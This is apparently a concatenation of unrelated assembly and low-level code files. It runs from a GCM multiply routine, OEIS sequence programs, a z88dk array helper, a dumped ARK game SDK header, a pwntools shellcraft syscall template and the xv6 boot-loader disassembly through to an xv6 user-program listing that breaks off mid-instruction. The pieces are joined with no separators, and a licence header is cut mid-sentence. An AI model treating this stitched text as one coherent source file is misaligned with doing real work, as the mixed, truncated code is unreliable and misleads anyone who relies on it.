obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 5, 0x90 CONST_TABLE: _u128_str: .byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0 .p2align 5, 0x90 .globl g9_GCMmul_avx .type g9_GCMmul_avx, @function g9_GCMmul_avx: push %ebp mov %esp, %ebp push %esi push %edi movl (12)(%ebp), %edi movl (8)(%ebp), %esi lea CONST_TABLE, %eax movdqu (%edi), %xmm1 movdqu (%esi), %xmm0 pshufb ((_u128_str-CONST_TABLE))(%eax), %xmm1 pshufd $(78), %xmm0, %xmm4 pshufd $(78), %xmm1, %xmm5 pxor %xmm0, %xmm4 pxor %xmm1, %xmm5 pclmulqdq $(0), %xmm5, %xmm4 movdqu %xmm0, %xmm3 pclmulqdq $(0), %xmm1, %xmm3 movdqu %xmm0, %xmm6 pclmulqdq $(17), %xmm1, %xmm6 pxor %xmm5, %xmm5 pxor %xmm3, %xmm4 pxor %xmm6, %xmm4 palignr $(8), %xmm4, %xmm5 pslldq $(8), %xmm4 pxor %xmm4, %xmm3 pxor %xmm5, %xmm6 movdqu %xmm3, %xmm4 movdqu %xmm6, %xmm5 pslld $(1), %xmm3 pslld $(1), %xmm6 psrld $(31), %xmm4 psrld $(31), %xmm5 palignr $(12), %xmm4, %xmm5 pslldq $(4), %xmm4 por %xmm4, %xmm3 por %xmm5, %xmm6 movdqu %xmm3, %xmm0 movdqu %xmm3, %xmm1 movdqu %xmm3, %xmm2 pslld $(31), %xmm0 pslld $(30), %xmm1 pslld $(25), %xmm2 pxor %xmm1, %xmm0 pxor %xmm2, %xmm0 movdqu %xmm0, %xmm1 pslldq $(12), %xmm0 pxor %xmm0, %xmm3 movdqu %xmm3, %xmm2 movdqu %xmm3, %xmm4 movdqu %xmm3, %xmm5 psrldq $(4), %xmm1 psrld $(1), %xmm2 psrld $(2), %xmm4 psrld $(7), %xmm5 pxor %xmm4, %xmm2 pxor %xmm5, %xmm2 pxor %xmm1, %xmm2 pxor %xmm2, %xmm3 pxor %xmm3, %xmm6 pshufb ((_u128_str-CONST_TABLE))(%eax), %xmm6 movdqu %xmm6, (%edi) pop %edi pop %esi pop %ebp ret .Lfe1: .size g9_GCMmul_avx, .Lfe1-(g9_GCMmul_avx)
load x add y stor w sub w jzero zerostuff load y zerostuff: load z stor q load x jpos posstuff load y posstuff: stor r jump jumpstuff load y jumpstuff: load y stor s halt x:5 y:1 z:4 w:0 q:0 r:0 s:0
; A198270: Ceiling(n*sqrt(13)). ; 0,4,8,11,15,19,22,26,29,33,37,40,44,47,51,55,58,62,65,69,73,76,80,83,87,91,94,98,101,105,109,112,116,119,123,127,130,134,138,141,145,148,152,156,159,163,166,170,174,177,181,184,188,192,195,199,202,206,210,213,217,220,224,228,231,235,238,242,246,249,253,256,260,264,267,271,275,278,282,285,289,293,296,300,303,307,311,314,318,321,325,329,332,336,339,343,347,350,354,357,361,365,368,372,375,379,383,386,390,394,397,401,404,408,412,415,419,422,426,430,433,437,440,444,448,451,455,458,462,466,469,473,476,480,484,487,491,494,498,502,505,509,512,516,520,523,527,531,534,538,541,545,549,552,556,559,563,567,570,574,577,581,585,588,592,595,599,603,606,610,613,617,621,624,628,631,635,639,642,646,649,653,657,660,664,668,671,675,678,682,686,689,693,696,700,704,707,711,714,718,722,725,729,732,736,740,743,747,750,754,758,761,765,768,772,776,779,783,787,790,794,797,801,805,808,812,815,819,823,826,830,833,837,841,844,848,851,855,859,862,866,869,873,877,880,884,887,891,895,898 mov $1,$0 mul $1,13 mov $2,$0 mov $3,1 mov $4,$0 mul $4,$1 lpb $2,1 lpb $4,1 add $0,3 trn $4,$3 add $3,2 lpe sub $0,$2 mov $2,$4 lpe mov $1,$0 div $1,3
SECTION code_clib SECTION code_adt_b_array PUBLIC __array_at EXTERN l_ltu_bc_hl __array_at: ; Return & array.data[idx] ; ; enter : hl = array * ; bc = idx ; ; exit : bc = idx ; de = array.size ; ; success ; ; hl = & array.data[idx] ; carry reset ; ; fail ; ; hl = & array.data[0] ; carry set ; ; uses : af, de, hl ld e,(hl) inc hl ld d,(hl) ; de = array.data inc hl ld a,(hl) inc hl ld h,(hl) ld l,a ; hl = array.size call l_ltu_bc_hl ex de,hl ; de = array.size, hl = array.data ccf ret c ; if bc >= hl, idx >= array.size add hl,bc ret
#pragma once // ARKSurvivalEvolved (329.9) SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif #include "ARKSurvivalEvolved_BaseNoteMeshAnimBP_structs.hpp" namespace sdk { //--------------------------------------------------------------------------- //Classes //--------------------------------------------------------------------------- // AnimBlueprintGeneratedClass BaseNoteMeshAnimBP.BaseNoteMeshAnimBP_C // 0x01A9 (0x04E9 - 0x0340) class UBaseNoteMeshAnimBP_C : public UAnimInstance { public: struct FAnimNode_Root AnimGraphNode_Root_BB430FF34E27A2A408537DA5C70EF3CE; // 0x0340(0x0028) struct FAnimNode_TransitionResult AnimGraphNode_TransitionResult_E0B3D8864861E3A72BFECEAAC0C96898;// 0x0368(0x0018) struct FAnimNode_SequencePlayer AnimGraphNode_SequencePlayer_7AB8197743067507F0B4C2A00905C7D5;// 0x0380(0x0030) struct FAnimNode_Root AnimGraphNode_StateResult_A764C9D547700928AA11728FCFAAE3E1;// 0x03B0(0x0028) struct FAnimNode_SequencePlayer AnimGraphNode_SequencePlayer_7DCDA5CC4A737258D9F64A93A6899F22;// 0x03D8(0x0030) struct FAnimNode_Root AnimGraphNode_StateResult_BEC211B64EEE1FC75C0B96AC00D1C564;// 0x0408(0x0028) struct FAnimNode_StateMachine AnimGraphNode_StateMachine_DAF5E144422BE9263FF0BFAFBDDBFDF8;// 0x0430(0x0060) struct FAnimNode_Slot AnimGraphNode_Slot_9C7C2F9E4BD57E22337C768D811E1E3C; // 0x0490(0x0038) class UAnimMontage* CloseAnim; // 0x04C8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData) float TimeToExitOpeningStateOverride; // 0x04D0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData) float K2Node_Event_DeltaTimeX; // 0x04D4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) bool CallFunc_EqualEqual_FloatFloat_ReturnValue; // 0x04D8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) bool CallFunc_Greater_FloatFloat_ReturnValue; // 0x04D9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) unsigned char UnknownData00[0x2]; // 0x04DA(0x0002) MISSED OFFSET float CallFunc_GetCurrentStateElapsedTime_ReturnValue; // 0x04DC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) float CallFunc_GetAnimAssetPlayerTimeFromEnd_ReturnValue; // 0x04E0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) bool CallFunc_Greater_FloatFloat_ReturnValue2; // 0x04E4(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) bool CallFunc_Less_FloatFloat_ReturnValue; // 0x04E5(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) bool CallFunc_BooleanAND_ReturnValue; // 0x04E6(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) bool CallFunc_BooleanAND_ReturnValue2; // 0x04E7(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) bool CallFunc_BooleanOR_ReturnValue; // 0x04E8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData) static UClass* StaticClass() { static auto ptr = UObject::FindClass("AnimBlueprintGeneratedClass BaseNoteMeshAnimBP.BaseNoteMeshAnimBP_C"); return ptr; } void BlueprintTriggerAnimationEvent(struct FName* AnimationEventName, float* playedAnimLength); void EvaluateGraphExposedInputs_ExecuteUbergraph_BaseNoteMeshAnimBP_AnimGraphNode_TransitionResult_3468(); void BlueprintUpdateAnimation(float* DeltaTimeX); void ExecuteUbergraph_BaseNoteMeshAnimBP(int EntryPoint); }; } #ifdef _MSC_VER #pragma pack(pop) #endif
COMMENT | -*- Mode: asm; tab-width: 8; c-basic-offset: 4 -*- ***** BEGIN LICENSE BLOCK ***** Version: MPL 1.1/GPL 2.0/LGPL 2.1 The contents of this file are subject to the Mozilla Public License Version 1.1 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/MPL/ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License. The Original Code is an OS/2 implementation of js_CompareAndSwap in assembly The Initial Developer of the Original Code is IBM Corporation. Portions created by the Initial Developer are Copyright (C) 2001 the Initial Developer. All Rights Reserved. Contributor(s): Alternatively, the contents of this file may be used under the terms of either the GNU General Public License Version 2 or later (the "GPL"), or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), in which case the provisions of the GPL or the LGPL are applicable instead of those above. If you wish to allow use of your version of this file only under the terms of either the GPL or the LGPL, and not to allow others to use your version of this file under the terms of the MPL, indicate your decision by deleting the provisions above and replace them with the notice and other provisions required by the GPL or the LGPL. If you do not delete the provisions above, a recipient may use your version of this file under the terms of any one of the MPL, the GPL or the LGPL. ***** END LICENSE BLOCK ***** | .486P .MODEL FLAT, OPTLINK .STACK .CODE ;;;--------------------------------------------------------------------- ;;; int _Optlink js_CompareAndSwap(jsword *w, jsword ov, jsword nv) ;;;--------------------------------------------------------------------- js_CompareAndSwap PROC OPTLINK EXPORT push ebx mov ebx, eax mov eax, edx mov edx, ebx lock cmpxchg [ebx], ecx sete al and eax, 1h pop ebx ret js_CompareAndSwap endp END
<% from pwnlib.shellcraft.arm.linux import syscall %> <%page args="name, length"/> <%docstring> Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information. Arguments: name(char): name len(size_t): len </%docstring> ${syscall('SYS_setdomainname', name, length)}
; A158231: a(n) = 256*n + 1. ; 257,513,769,1025,1281,1537,1793,2049,2305,2561,2817,3073,3329,3585,3841,4097,4353,4609,4865,5121,5377,5633,5889,6145,6401,6657,6913,7169,7425,7681,7937,8193,8449,8705,8961,9217,9473,9729,9985,10241,10497,10753,11009,11265,11521,11777,12033,12289,12545,12801,13057,13313,13569,13825,14081,14337,14593,14849,15105,15361,15617,15873,16129,16385,16641,16897,17153,17409,17665,17921,18177,18433,18689,18945,19201,19457,19713,19969,20225,20481,20737,20993,21249,21505,21761,22017,22273,22529,22785,23041 mul $0,256 add $0,257
; A118543: Start with 1 and repeatedly reverse the digits and add 25 to get the next term. ; 1,26,87,103,326,648,871,203,327,748,872,303,328,848,873,403,329,948,874,503,330,58,110,36,88,113,336,658,881,213,337,758,882,313,338,858,883,413,339,958,884,513,340,68,111,136,656,681,211,137,756,682,311,138 mov $2,$0 mov $0,1 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,25 sub $2,1 lpe
bootblock.o: file format elf32-i386 Disassembly of section .text: 00007c00 <start>: # with %cs=0 %ip=7c00. .code16 # Assemble for 16-bit mode .globl start start: cli # BIOS enabled interrupts; disable 7c00: fa cli # Zero data segment registers DS, ES, and SS. xorw %ax,%ax # Set %ax to zero 7c01: 31 c0 xor %eax,%eax movw %ax,%ds # -> Data Segment 7c03: 8e d8 mov %eax,%ds movw %ax,%es # -> Extra Segment 7c05: 8e c0 mov %eax,%es movw %ax,%ss # -> Stack Segment 7c07: 8e d0 mov %eax,%ss 00007c09 <seta20.1>: # Physical address line A20 is tied to zero so that the first PCs # with 2 MB would run software that assumed 1 MB. Undo that. seta20.1: inb $0x64,%al # Wait for not busy 7c09: e4 64 in $0x64,%al testb $0x2,%al 7c0b: a8 02 test $0x2,%al jnz seta20.1 7c0d: 75 fa jne 7c09 <seta20.1> movb $0xd1,%al # 0xd1 -> port 0x64 7c0f: b0 d1 mov $0xd1,%al outb %al,$0x64 7c11: e6 64 out %al,$0x64 00007c13 <seta20.2>: seta20.2: inb $0x64,%al # Wait for not busy 7c13: e4 64 in $0x64,%al testb $0x2,%al 7c15: a8 02 test $0x2,%al jnz seta20.2 7c17: 75 fa jne 7c13 <seta20.2> movb $0xdf,%al # 0xdf -> port 0x60 7c19: b0 df mov $0xdf,%al outb %al,$0x60 7c1b: e6 60 out %al,$0x60 # Switch from real to protected mode. Use a bootstrap GDT that makes # virtual addresses map directly to physical addresses so that the # effective memory map doesn't change during the transition. lgdt gdtdesc 7c1d: 0f 01 16 lgdtl (%esi) 7c20: 78 7c js 7c9e <readsect+0xe> movl %cr0, %eax 7c22: 0f 20 c0 mov %cr0,%eax orl $CR0_PE, %eax 7c25: 66 83 c8 01 or $0x1,%ax movl %eax, %cr0 7c29: 0f 22 c0 mov %eax,%cr0 //PAGEBREAK! # Complete the transition to 32-bit protected mode by using a long jmp # to reload %cs and %eip. The segment descriptors are set up with no # translation, so that the mapping is still the identity mapping. ljmp $(SEG_KCODE<<3), $start32 7c2c: ea 31 7c 08 00 66 b8 ljmp $0xb866,$0x87c31 00007c31 <start32>: .code32 # Tell assembler to generate 32-bit code now. start32: # Set up the protected-mode data segment registers movw $(SEG_KDATA<<3), %ax # Our data segment selector 7c31: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds # -> DS: Data Segment 7c35: 8e d8 mov %eax,%ds movw %ax, %es # -> ES: Extra Segment 7c37: 8e c0 mov %eax,%es movw %ax, %ss # -> SS: Stack Segment 7c39: 8e d0 mov %eax,%ss movw $0, %ax # Zero segments not ready for use 7c3b: 66 b8 00 00 mov $0x0,%ax movw %ax, %fs # -> FS 7c3f: 8e e0 mov %eax,%fs movw %ax, %gs # -> GS 7c41: 8e e8 mov %eax,%gs # Set up the stack pointer and call into C. movl $start, %esp 7c43: bc 00 7c 00 00 mov $0x7c00,%esp call bootmain 7c48: e8 e2 00 00 00 call 7d2f <bootmain> # If bootmain returns (it shouldn't), trigger a Bochs # breakpoint if running under Bochs, then loop. movw $0x8a00, %ax # 0x8a00 -> port 0x8a00 7c4d: 66 b8 00 8a mov $0x8a00,%ax movw %ax, %dx 7c51: 66 89 c2 mov %ax,%dx outw %ax, %dx 7c54: 66 ef out %ax,(%dx) movw $0x8ae0, %ax # 0x8ae0 -> port 0x8a00 7c56: 66 b8 e0 8a mov $0x8ae0,%ax outw %ax, %dx 7c5a: 66 ef out %ax,(%dx) 00007c5c <spin>: spin: jmp spin 7c5c: eb fe jmp 7c5c <spin> 7c5e: 66 90 xchg %ax,%ax 00007c60 <gdt>: ... 7c68: ff (bad) 7c69: ff 00 incl (%eax) 7c6b: 00 00 add %al,(%eax) 7c6d: 9a cf 00 ff ff 00 00 lcall $0x0,$0xffff00cf 7c74: 00 92 cf 00 17 00 add %dl,0x1700cf(%edx) 00007c78 <gdtdesc>: 7c78: 17 pop %ss 7c79: 00 60 7c add %ah,0x7c(%eax) ... 00007c7e <waitdisk>: entry(); } void waitdisk(void) { 7c7e: 55 push %ebp 7c7f: 89 e5 mov %esp,%ebp static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a"(data) : "d"(port)); 7c81: ba f7 01 00 00 mov $0x1f7,%edx 7c86: ec in (%dx),%al // Wait for disk ready. while ((inb(0x1F7) & 0xC0) != 0x40) 7c87: 83 e0 c0 and $0xffffffc0,%eax 7c8a: 3c 40 cmp $0x40,%al 7c8c: 75 f8 jne 7c86 <waitdisk+0x8> ; } 7c8e: 5d pop %ebp 7c8f: c3 ret 00007c90 <readsect>: // Read a single sector at offset into dst. void readsect(void *dst, uint offset) { 7c90: 55 push %ebp 7c91: 89 e5 mov %esp,%ebp 7c93: 57 push %edi 7c94: 53 push %ebx 7c95: 8b 5d 0c mov 0xc(%ebp),%ebx // Issue command. waitdisk(); 7c98: e8 e1 ff ff ff call 7c7e <waitdisk> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a"(data), "d"(port)); 7c9d: ba f2 01 00 00 mov $0x1f2,%edx 7ca2: b8 01 00 00 00 mov $0x1,%eax 7ca7: ee out %al,(%dx) 7ca8: b2 f3 mov $0xf3,%dl 7caa: 89 d8 mov %ebx,%eax 7cac: ee out %al,(%dx) 7cad: 0f b6 c7 movzbl %bh,%eax 7cb0: b2 f4 mov $0xf4,%dl 7cb2: ee out %al,(%dx) outb(0x1F2, 1); // count = 1 outb(0x1F3, offset); outb(0x1F4, offset >> 8); outb(0x1F5, offset >> 16); 7cb3: 89 d8 mov %ebx,%eax 7cb5: c1 e8 10 shr $0x10,%eax 7cb8: b2 f5 mov $0xf5,%dl 7cba: ee out %al,(%dx) outb(0x1F6, (offset >> 24) | 0xE0); 7cbb: c1 eb 18 shr $0x18,%ebx 7cbe: 89 d8 mov %ebx,%eax 7cc0: 83 c8 e0 or $0xffffffe0,%eax 7cc3: b2 f6 mov $0xf6,%dl 7cc5: ee out %al,(%dx) 7cc6: b2 f7 mov $0xf7,%dl 7cc8: b8 20 00 00 00 mov $0x20,%eax 7ccd: ee out %al,(%dx) outb(0x1F7, 0x20); // cmd 0x20 - read sectors // Read data. waitdisk(); 7cce: e8 ab ff ff ff call 7c7e <waitdisk> } static inline void insl(int port, void *addr, int cnt) { asm volatile("cld; rep insl" : "=D"(addr), "=c"(cnt) : "d"(port), "0"(addr), "1"(cnt) : "memory", "cc"); 7cd3: 8b 7d 08 mov 0x8(%ebp),%edi 7cd6: b9 80 00 00 00 mov $0x80,%ecx 7cdb: ba f0 01 00 00 mov $0x1f0,%edx 7ce0: fc cld 7ce1: f3 6d rep insl (%dx),%es:(%edi) insl(0x1F0, dst, SECTSIZE / 4); } 7ce3: 5b pop %ebx 7ce4: 5f pop %edi 7ce5: 5d pop %ebp 7ce6: c3 ret 00007ce7 <readseg>: // Read 'count' bytes at 'offset' from kernel into physical address 'pa'. // Might copy more than asked. void readseg(uchar *pa, uint count, uint offset) { 7ce7: 55 push %ebp 7ce8: 89 e5 mov %esp,%ebp 7cea: 57 push %edi 7ceb: 56 push %esi 7cec: 53 push %ebx 7ced: 83 ec 08 sub $0x8,%esp 7cf0: 8b 5d 08 mov 0x8(%ebp),%ebx 7cf3: 8b 75 10 mov 0x10(%ebp),%esi uchar *epa; epa = pa + count; 7cf6: 89 df mov %ebx,%edi 7cf8: 03 7d 0c add 0xc(%ebp),%edi // Round down to sector boundary. pa -= offset % SECTSIZE; 7cfb: 89 f0 mov %esi,%eax 7cfd: 25 ff 01 00 00 and $0x1ff,%eax 7d02: 29 c3 sub %eax,%ebx // Translate from bytes to sectors; kernel starts at sector 1. offset = (offset / SECTSIZE) + 1; 7d04: c1 ee 09 shr $0x9,%esi 7d07: 83 c6 01 add $0x1,%esi // If this is too slow, we could read lots of sectors at a time. // We'd write more to memory than asked, but it doesn't matter -- // we load in increasing order. for (; pa < epa; pa += SECTSIZE, offset++) readsect(pa, offset); 7d0a: 39 df cmp %ebx,%edi 7d0c: 76 19 jbe 7d27 <readseg+0x40> 7d0e: 89 74 24 04 mov %esi,0x4(%esp) 7d12: 89 1c 24 mov %ebx,(%esp) 7d15: e8 76 ff ff ff call 7c90 <readsect> 7d1a: 81 c3 00 02 00 00 add $0x200,%ebx 7d20: 83 c6 01 add $0x1,%esi 7d23: 39 df cmp %ebx,%edi 7d25: 77 e7 ja 7d0e <readseg+0x27> } 7d27: 83 c4 08 add $0x8,%esp 7d2a: 5b pop %ebx 7d2b: 5e pop %esi 7d2c: 5f pop %edi 7d2d: 5d pop %ebp 7d2e: c3 ret 00007d2f <bootmain>: void readseg(uchar *, uint, uint); void bootmain(void) { 7d2f: 55 push %ebp 7d30: 89 e5 mov %esp,%ebp 7d32: 57 push %edi 7d33: 56 push %esi 7d34: 53 push %ebx 7d35: 83 ec 1c sub $0x1c,%esp uchar *pa; elf = (struct elfhdr *)0x10000; // scratch space // Read 1st page off disk readseg((uchar *)elf, 4096, 0); 7d38: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 7d3f: 00 7d40: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) 7d47: 00 7d48: c7 04 24 00 00 01 00 movl $0x10000,(%esp) 7d4f: e8 93 ff ff ff call 7ce7 <readseg> // Is this an ELF executable? if (elf->magic != ELF_MAGIC) return; // let bootasm.S handle error 7d54: 81 3d 00 00 01 00 7f cmpl $0x464c457f,0x10000 7d5b: 45 4c 46 7d5e: 75 57 jne 7db7 <bootmain+0x88> // Load each program segment (ignores ph flags). ph = (struct proghdr *)((uchar *)elf + elf->phoff); 7d60: a1 1c 00 01 00 mov 0x1001c,%eax 7d65: 8d 98 00 00 01 00 lea 0x10000(%eax),%ebx eph = ph + elf->phnum; 7d6b: 0f b7 35 2c 00 01 00 movzwl 0x1002c,%esi 7d72: c1 e6 05 shl $0x5,%esi 7d75: 01 de add %ebx,%esi for (; ph < eph; ph++) { 7d77: 39 f3 cmp %esi,%ebx 7d79: 73 36 jae 7db1 <bootmain+0x82> pa = (uchar *)ph->paddr; 7d7b: 8b 7b 0c mov 0xc(%ebx),%edi readseg(pa, ph->filesz, ph->off); 7d7e: 8b 43 04 mov 0x4(%ebx),%eax 7d81: 89 44 24 08 mov %eax,0x8(%esp) 7d85: 8b 43 10 mov 0x10(%ebx),%eax 7d88: 89 44 24 04 mov %eax,0x4(%esp) 7d8c: 89 3c 24 mov %edi,(%esp) 7d8f: e8 53 ff ff ff call 7ce7 <readseg> if (ph->memsz > ph->filesz) stosb(pa + ph->filesz, 0, ph->memsz - ph->filesz); 7d94: 8b 4b 14 mov 0x14(%ebx),%ecx 7d97: 8b 43 10 mov 0x10(%ebx),%eax 7d9a: 39 c1 cmp %eax,%ecx 7d9c: 76 0c jbe 7daa <bootmain+0x7b> 7d9e: 01 c7 add %eax,%edi 7da0: 29 c1 sub %eax,%ecx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : "=D"(addr), "=c"(cnt) : "0"(addr), "1"(cnt), "a"(data) : "memory", "cc"); 7da2: b8 00 00 00 00 mov $0x0,%eax 7da7: fc cld 7da8: f3 aa rep stos %al,%es:(%edi) if (elf->magic != ELF_MAGIC) return; // let bootasm.S handle error // Load each program segment (ignores ph flags). ph = (struct proghdr *)((uchar *)elf + elf->phoff); eph = ph + elf->phnum; for (; ph < eph; ph++) { 7daa: 83 c3 20 add $0x20,%ebx 7dad: 39 de cmp %ebx,%esi 7daf: 77 ca ja 7d7b <bootmain+0x4c> } // Call the entry point from the ELF header. // Does not return! entry = (void (*)(void))(elf->entry); entry(); 7db1: ff 15 18 00 01 00 call *0x10018 } 7db7: 83 c4 1c add $0x1c,%esp 7dba: 5b pop %ebx 7dbb: 5e pop %esi 7dbc: 5f pop %edi 7dbd: 5d pop %ebp 7dbe: c3 ret
; Generated at 4/14/2019 1:59:47 AM DebugStub_ComAddr dd 1016 %ifndef Exclude_IOPort_Based_Serial DebugStub_WriteRegister: push dword EDX add DX, 0x3F8 out DX, AL pop dword EDX DebugStub_WriteRegister_Exit: mov dword [INTs_LastKnownAddress], DebugStub_WriteRegister_Exit Ret DebugStub_ReadRegister: push dword EDX add DX, 0x3F8 in byte AL, DX pop dword EDX DebugStub_ReadRegister_Exit: mov dword [INTs_LastKnownAddress], DebugStub_ReadRegister_Exit Ret %endif
_test2: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" #include "fs.h" int main() { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 10 sub $0x10,%esp sleep(50); 11: 6a 32 push $0x32 13: e8 fa 02 00 00 call 312 <sleep> printf(1, "Test2\n"); 18: 58 pop %eax 19: 5a pop %edx 1a: 68 38 07 00 00 push $0x738 1f: 6a 01 push $0x1 21: e8 ba 03 00 00 call 3e0 <printf> exit(); 26: e8 57 02 00 00 call 282 <exit> 2b: 66 90 xchg %ax,%ax 2d: 66 90 xchg %ax,%ax 2f: 90 nop 00000030 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 30: 55 push %ebp 31: 89 e5 mov %esp,%ebp 33: 53 push %ebx 34: 8b 45 08 mov 0x8(%ebp),%eax 37: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 3a: 89 c2 mov %eax,%edx 3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 40: 83 c1 01 add $0x1,%ecx 43: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 47: 83 c2 01 add $0x1,%edx 4a: 84 db test %bl,%bl 4c: 88 5a ff mov %bl,-0x1(%edx) 4f: 75 ef jne 40 <strcpy+0x10> ; return os; } 51: 5b pop %ebx 52: 5d pop %ebp 53: c3 ret 54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000060 <strcmp>: int strcmp(const char *p, const char *q) { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 53 push %ebx 64: 8b 55 08 mov 0x8(%ebp),%edx 67: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 6a: 0f b6 02 movzbl (%edx),%eax 6d: 0f b6 19 movzbl (%ecx),%ebx 70: 84 c0 test %al,%al 72: 75 1c jne 90 <strcmp+0x30> 74: eb 2a jmp a0 <strcmp+0x40> 76: 8d 76 00 lea 0x0(%esi),%esi 79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 80: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 83: 0f b6 02 movzbl (%edx),%eax p++, q++; 86: 83 c1 01 add $0x1,%ecx 89: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 8c: 84 c0 test %al,%al 8e: 74 10 je a0 <strcmp+0x40> 90: 38 d8 cmp %bl,%al 92: 74 ec je 80 <strcmp+0x20> return (uchar)*p - (uchar)*q; 94: 29 d8 sub %ebx,%eax } 96: 5b pop %ebx 97: 5d pop %ebp 98: c3 ret 99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi a0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; a2: 29 d8 sub %ebx,%eax } a4: 5b pop %ebx a5: 5d pop %ebp a6: c3 ret a7: 89 f6 mov %esi,%esi a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000000b0 <strlen>: uint strlen(const char *s) { b0: 55 push %ebp b1: 89 e5 mov %esp,%ebp b3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) b6: 80 39 00 cmpb $0x0,(%ecx) b9: 74 15 je d0 <strlen+0x20> bb: 31 d2 xor %edx,%edx bd: 8d 76 00 lea 0x0(%esi),%esi c0: 83 c2 01 add $0x1,%edx c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) c7: 89 d0 mov %edx,%eax c9: 75 f5 jne c0 <strlen+0x10> ; return n; } cb: 5d pop %ebp cc: c3 ret cd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) d0: 31 c0 xor %eax,%eax } d2: 5d pop %ebp d3: c3 ret d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000e0 <memset>: void* memset(void *dst, int c, uint n) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 57 push %edi e4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : e7: 8b 4d 10 mov 0x10(%ebp),%ecx ea: 8b 45 0c mov 0xc(%ebp),%eax ed: 89 d7 mov %edx,%edi ef: fc cld f0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } f2: 89 d0 mov %edx,%eax f4: 5f pop %edi f5: 5d pop %ebp f6: c3 ret f7: 89 f6 mov %esi,%esi f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000100 <strchr>: char* strchr(const char *s, char c) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 53 push %ebx 104: 8b 45 08 mov 0x8(%ebp),%eax 107: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 10a: 0f b6 10 movzbl (%eax),%edx 10d: 84 d2 test %dl,%dl 10f: 74 1d je 12e <strchr+0x2e> if(*s == c) 111: 38 d3 cmp %dl,%bl 113: 89 d9 mov %ebx,%ecx 115: 75 0d jne 124 <strchr+0x24> 117: eb 17 jmp 130 <strchr+0x30> 119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 120: 38 ca cmp %cl,%dl 122: 74 0c je 130 <strchr+0x30> for(; *s; s++) 124: 83 c0 01 add $0x1,%eax 127: 0f b6 10 movzbl (%eax),%edx 12a: 84 d2 test %dl,%dl 12c: 75 f2 jne 120 <strchr+0x20> return (char*)s; return 0; 12e: 31 c0 xor %eax,%eax } 130: 5b pop %ebx 131: 5d pop %ebp 132: c3 ret 133: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000140 <gets>: char* gets(char *buf, int max) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 57 push %edi 144: 